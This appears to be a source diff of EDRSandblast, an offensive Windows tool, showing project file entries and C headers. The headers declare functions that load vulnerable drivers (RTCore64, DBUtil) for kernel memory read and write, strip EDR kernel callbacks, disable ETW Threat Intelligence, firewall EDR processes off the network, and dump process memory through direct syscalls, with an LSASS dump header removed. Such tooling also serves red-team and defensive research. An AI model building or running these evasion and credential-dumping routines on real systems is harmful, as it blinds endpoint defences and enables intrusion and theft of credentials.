<ClCompile Include="Utils\FileVersion.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
@@ -48,16 +39,82 @@
|
||||
<ClCompile Include="Utils\WdigestOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
|
||||
<ClCompile Include="Utils\FirewallOps.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEBBrowse.c">
|
||||
<ClCompile Include="Utils\IsEDRChecks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEParser.c">
|
||||
<ClCompile Include="Utils\IsElevatedProcess.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\UserlandHooks.c">
|
||||
<ClCompile Include="Utils\WindowsServiceOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\SignatureOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\ETWThreatIntel.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\Firewalling.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\UserlandHooks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\PdbSymbols.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\HttpClient.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\FileUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\SW2_Syscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\KernelUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Drivers\DriverRTCore.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\SyscallProcessUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Drivers\DriverDBUtil.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\StringUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\PEParser.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\PEBBrowse.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\RemotePEBBrowser.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\ListUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\Syscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\ProcessDump.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
@@ -71,15 +128,9 @@
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EDRSandBlast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\LSASSDump.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FileVersion.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
@@ -113,5 +164,76 @@
|
||||
<ClInclude Include="Includes\UserlandHooks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Firewalling.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FirewallOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\IsElevatedProcess.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\WindowsServiceOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\SignatureOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\IsEDRChecks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\PdbSymbols.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\HttpClient.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FileUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ObjectCallbacks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverRTCore.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverDBUtil.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\SyscallProcessUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\SW2_Syscalls.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\StringUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\RemotePEBBrowser.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ListUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Syscalls.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ProcessDump.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EDRSandblast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
HANDLE GetDriverHandle_DBUtil();
|
||||
VOID CloseDriverHandle_DBUtil();
|
||||
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
@@ -9,16 +9,17 @@
|
||||
#include <Windows.h>
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
#define SERVICE_NAME_LENGTH 8
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
TCHAR* GetServiceName(void);
|
||||
void SetServiceName(TCHAR* newName, size_t szNewName);
|
||||
TCHAR* GetDriverServiceName(void);
|
||||
void SetDriverServiceName(_In_z_ TCHAR* newName);
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||
|
||||
BOOL UninstallVulnerableDriver(void);
|
||||
BOOL UninstallVulnerableDriver(void);
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
HANDLE GetDriverHandle_RTCore();
|
||||
VOID CloseDriverHandle_RTCore();
|
||||
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
|
||||
PBYTE ReadFullFileW(LPCWSTR fileName);
|
||||
|
||||
BOOL FileExistsA(LPCSTR szPath);
|
||||
BOOL FileExistsW(LPCWSTR szPath);
|
||||
#ifdef UNICODE
|
||||
#define FileExists FileExistsW
|
||||
#else
|
||||
#define FileExists FileExistsA
|
||||
#endif // !UNICODE
|
||||
|
||||
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize);
|
||||
@@ -2,8 +2,10 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
LPTSTR GetNtoskrnlPath();
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
|
||||
LPTSTR GetNtoskrnlVersion();
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion);
|
||||
LPTSTR GetWdigestVersion();
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#pragma warning(disable : 4201)
|
||||
#include <netfw.h>
|
||||
#pragma warning(default : 4201)
|
||||
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "StringUtils.h"
|
||||
|
||||
#pragma comment(lib, "ole32.lib")
|
||||
#pragma comment(lib, "oleaut32.lib")
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
#ifndef FW_PROFILE_TYPE_ALL
|
||||
#define FW_PROFILE_TYPE_ALL 0x7FFFFFFF
|
||||
#endif
|
||||
|
||||
#define FW_RULE_NAME_MAX_LENGTH 20
|
||||
|
||||
HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
|
||||
|
||||
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
|
||||
|
||||
HRESULT DeleteFirewallRule(TCHAR * ruleName);
|
||||
@@ -0,0 +1,37 @@
|
||||
/*
|
||||
|
||||
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Dbghelp.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "FirewallOps.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "IsElevatedProcess.h"
|
||||
|
||||
// Singly-linked list used to hold the paths of binaries executed by EDRs (processes / services).
|
||||
typedef struct sFwBinaryRules_ {
|
||||
TCHAR* binaryPath;
|
||||
TCHAR* ruleInboundName;
|
||||
TCHAR* ruleOutboundName;
|
||||
struct sFwBinaryRules_* next;
|
||||
} fwBinaryRules;
|
||||
|
||||
typedef struct fwBlockingRulesList_ {
|
||||
fwBinaryRules* first;
|
||||
}fwBlockingRulesList;
|
||||
|
||||
void FirewallPrintManualDeletion(fwBlockingRulesList* fwEntries);
|
||||
|
||||
HRESULT FirewallBlockEDR(fwBlockingRulesList* fwEntries);
|
||||
|
||||
HRESULT FirewallUnblockEDR(fwBlockingRulesList* fwEntries);
|
||||
|
||||
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry);
|
||||
@@ -0,0 +1,2 @@
|
||||
#pragma once
|
||||
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size);
|
||||
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
* Primitives to check if a binary or driver belongs to an EDR product.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "SignatureOps.h"
|
||||
|
||||
TCHAR const* EDR_SIGNATURE_KEYWORDS[];
|
||||
TCHAR const* EDR_BINARIES[];
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
BOOL isFileSignatureMatchingEDR(TCHAR* filePath);
|
||||
|
||||
BOOL isBinaryNameMatchingEDR(TCHAR* binaryName);
|
||||
|
||||
BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath);
|
||||
|
||||
BOOL isDriverNameMatchingEDR(TCHAR* driverName);
|
||||
|
||||
BOOL isDriverPathMatchingEDR(TCHAR* driverPath);
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include "Windows.h"
|
||||
#include "Tchar.h"
|
||||
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
BOOL IsElevatedProcess();
|
||||
@@ -17,10 +17,24 @@
|
||||
*/
|
||||
#define PSP_MAX_CALLBACKS 0x40
|
||||
|
||||
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
|
||||
enum kernel_callback_type_e {
|
||||
NOTIFY_ROUTINE_CB,
|
||||
OBJECT_CALLBACK
|
||||
};
|
||||
struct KRNL_CALLBACK {
|
||||
TCHAR const* driver;
|
||||
DWORD64 callback_addr;
|
||||
DWORD64 callback_struct;
|
||||
enum kernel_callback_type_e type;
|
||||
TCHAR const* driver_name;
|
||||
union callback_addr_e {
|
||||
struct notify_routine_t {
|
||||
DWORD64 callback_struct_addr;
|
||||
DWORD64 callback_struct;
|
||||
enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
|
||||
} notify_routine;
|
||||
struct object_callback_t {
|
||||
DWORD64 enable_addr;
|
||||
} object_callback;
|
||||
} addresses;
|
||||
DWORD64 callback_func;
|
||||
BOOL removed;
|
||||
};
|
||||
@@ -30,11 +44,10 @@ struct FOUND_EDR_CALLBACKS {
|
||||
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
||||
};
|
||||
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
|
||||
BOOL isDriverEDR(TCHAR* driver);
|
||||
|
||||
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
/*
|
||||
|
||||
@@ -78,6 +91,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
|
||||
|
||||
*/
|
||||
|
||||
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
@@ -9,61 +9,49 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#define RTCore 0
|
||||
#define DBUtil 1
|
||||
#define VULN_DRIVER RTCore
|
||||
|
||||
struct RTCORE64_MSR_READ {
|
||||
DWORD Register;
|
||||
DWORD ValueHigh;
|
||||
DWORD ValueLow;
|
||||
};
|
||||
#if VULN_DRIVER == RTCore
|
||||
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
|
||||
#define GetDriverHandle GetDriverHandle_RTCore
|
||||
#define CloseDriverHandle CloseDriverHandle_RTCore
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
|
||||
#elif VULN_DRIVER == DBUtil
|
||||
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
|
||||
#define GetDriverHandle GetDriverHandle_DBUtil
|
||||
#define CloseDriverHandle CloseDriverHandle_DBUtil
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
|
||||
#endif
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
BYTE ReadMemoryBYTE(DWORD64 Address);
|
||||
WORD ReadMemoryWORD(DWORD64 Address);
|
||||
DWORD ReadMemoryDWORD(DWORD64 Address);
|
||||
DWORD64 ReadMemoryDWORD64(DWORD64 Address);
|
||||
|
||||
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
BYTE ReadKernelMemoryBYTE(DWORD64 Offset);
|
||||
WORD ReadKernelMemoryWORD(DWORD64 Offset);
|
||||
DWORD ReadKernelMemoryDWORD(DWORD64 Offset);
|
||||
DWORD64 ReadKernelMemoryDWORD64(DWORD64 Offset);
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
|
||||
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
|
||||
void WriteMemoryBYTE(DWORD64 Address, BYTE Value);
|
||||
void WriteMemoryWORD(DWORD64 Address, WORD Value);
|
||||
void WriteMemoryDWORD(DWORD64 Address, DWORD Value);
|
||||
void WriteMemoryDWORD64(DWORD64 Address, DWORD64 Value);
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
|
||||
void WriteKernelMemoryBYTE(DWORD64 Offset, BYTE Value);
|
||||
void WriteKernelMemoryWORD(DWORD64 Offset, WORD Value);
|
||||
void WriteKernelMemoryDWORD(DWORD64 Offset, DWORD Value);
|
||||
void WriteKernelMemoryDWORD64(DWORD64 Offset, DWORD64 Value);
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
|
||||
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
VOID CloseDriverHandle();
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
|
||||
|
||||
HANDLE GetDriverHandle();
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function);
|
||||
BOOL TestReadPrimitive();
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||
TCHAR* FindDriverPath(DWORD64 address);
|
||||
DWORD64 GetKernelFunctionAddress(LPCSTR function);
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data);
|
||||
@@ -0,0 +1,7 @@
|
||||
#include <Windows.h>
|
||||
|
||||
typedef struct _LINKED_LIST {
|
||||
struct _LINKED_LIST* next;
|
||||
} LINKED_LIST, * PLINKED_LIST;
|
||||
|
||||
VOID freeLinkedList(PVOID head);
|
||||
@@ -11,13 +11,16 @@
|
||||
|
||||
|
||||
enum NtoskrnlOffsetType {
|
||||
CREATE_PROCESS_ROUTINE = 0,
|
||||
CREATE_THREAD_ROUTINE = 1,
|
||||
LOAD_IMAGE_ROUTINE = 2,
|
||||
PROTECTION_LEVEL = 3,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
|
||||
ETW_REG_ENTRY_GUIDENTRY = 5,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
|
||||
CREATE_PROCESS_ROUTINE,
|
||||
CREATE_THREAD_ROUTINE,
|
||||
LOAD_IMAGE_ROUTINE,
|
||||
PROTECTION_LEVEL,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE,
|
||||
ETW_REG_ENTRY_GUIDENTRY,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO,
|
||||
PSPROCESSTYPE,
|
||||
PSTHREADTYPE,
|
||||
OBJECT_TYPE_CALLBACKLIST,
|
||||
_SUPPORTED_NTOSKRNL_OFFSETS_END
|
||||
};
|
||||
|
||||
@@ -30,21 +33,41 @@ union NtoskrnlOffsets {
|
||||
DWORD64 pspCreateThreadNotifyRoutine;
|
||||
// ntoskrnl's PspLoadImageNotifyRoutine
|
||||
DWORD64 pspLoadImageNotifyRoutine;
|
||||
// ntoskrnl EPROCESS's _PS_PROTECTION
|
||||
DWORD64 ps_protection;
|
||||
// ntoskrnl EPROCESS's Protection field offset
|
||||
DWORD64 eprocess_protection;
|
||||
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
|
||||
DWORD64 etwThreatIntProvRegHandle;
|
||||
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
|
||||
DWORD64 etwRegEntry_GuidEntry;
|
||||
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
|
||||
DWORD64 etwGuidEntry_ProviderEnableInfo;
|
||||
// ntoskrnl PsProcessType symbol offset
|
||||
DWORD64 psProcessType;
|
||||
// ntoskrnl PsThreadType symbol offset
|
||||
DWORD64 psThreadType;
|
||||
// ntoskrnl _OBJECT_TYPE's CallbackList symbol offset
|
||||
DWORD64 object_type_callbacklist;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
|
||||
};
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
union NtoskrnlOffsets g_ntoskrnlOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
|
||||
// Stores, in a global variable, the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename);
|
||||
|
||||
// Saves the offsets, stored in global variable, in the provided CSV file
|
||||
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename);
|
||||
|
||||
// Print the Ntosknrl offsets.
|
||||
void PrintNtoskrnlOffsets();
|
||||
|
||||
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb);
|
||||
|
||||
BOOL NtoskrnlOffsetsAreAllPresent();
|
||||
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent();
|
||||
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent();
|
||||
BOOL NtoskrnlEtwtiOffsetsArePresent();
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#define DECLARE_OFFSET(STRUCTNAME, OFFSETNAME) DWORD64 Offset_ ## STRUCTNAME ## _ ## OFFSETNAME
|
||||
#define DECLARE_SYMBOL(SYMBOL) DWORD64 Sym_ ## SYMBOL
|
||||
|
||||
// Offset used in experimental functions (EnumAllObjectsCallbacks, EnableDisableProcessAndThreadObjectsCallbacksSupport)
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, Name);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
|
||||
DECLARE_SYMBOL(ObpObjectTypes);
|
||||
DECLARE_SYMBOL(ObpTypeObjectType);
|
||||
|
||||
|
||||
//callback support strategy
|
||||
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable);
|
||||
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled();
|
||||
|
||||
//undoc struct strategy
|
||||
void EnumAllObjectsCallbacks();
|
||||
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable);
|
||||
|
||||
//full black box strategy
|
||||
SIZE_T CountProcessAndThreadObjectsCallbacks();
|
||||
void RemoveAllProcessAndThreadObjectsCallbacks();
|
||||
void RestoreAllProcessAndThreadObjectsCallbacks();
|
||||
@@ -1,9 +1,10 @@
|
||||
#pragma once
|
||||
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
typedef unsigned __int64 QWORD;
|
||||
|
||||
|
||||
typedef struct _IMAGE_RELOCATION_ENTRY {
|
||||
WORD Offset : 12;
|
||||
WORD Type : 4;
|
||||
@@ -14,6 +15,13 @@ typedef struct PE_relocation_t {
|
||||
WORD Type : 4;
|
||||
} PE_relocation;
|
||||
|
||||
typedef struct PE_codeview_debug_info_t {
|
||||
DWORD signature;
|
||||
GUID guid;
|
||||
DWORD age;
|
||||
CHAR pdbName[1];
|
||||
} PE_codeview_debug_info;
|
||||
|
||||
typedef struct PE_pointers {
|
||||
BOOL isMemoryMapped;
|
||||
BOOL isInAnotherAddressSpace;
|
||||
@@ -34,6 +42,9 @@ typedef struct PE_pointers {
|
||||
//relocations info
|
||||
DWORD nbRelocations;
|
||||
PE_relocation* relocations;
|
||||
//debug info
|
||||
IMAGE_DEBUG_DIRECTORY* debugDirectory;
|
||||
PE_codeview_debug_info* codeviewDebugInfo;
|
||||
} PE;
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
|
||||
@@ -47,4 +58,5 @@ PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
|
||||
VOID PE_parseRelocations(PE* pe);
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||
VOID PE_destroy(PE* pe);
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
typedef struct symbol_ctx_t {
|
||||
LPWSTR pdb_name_w;
|
||||
DWORD64 pdb_base_addr;
|
||||
HANDLE sym_handle;
|
||||
} symbol_ctx;
|
||||
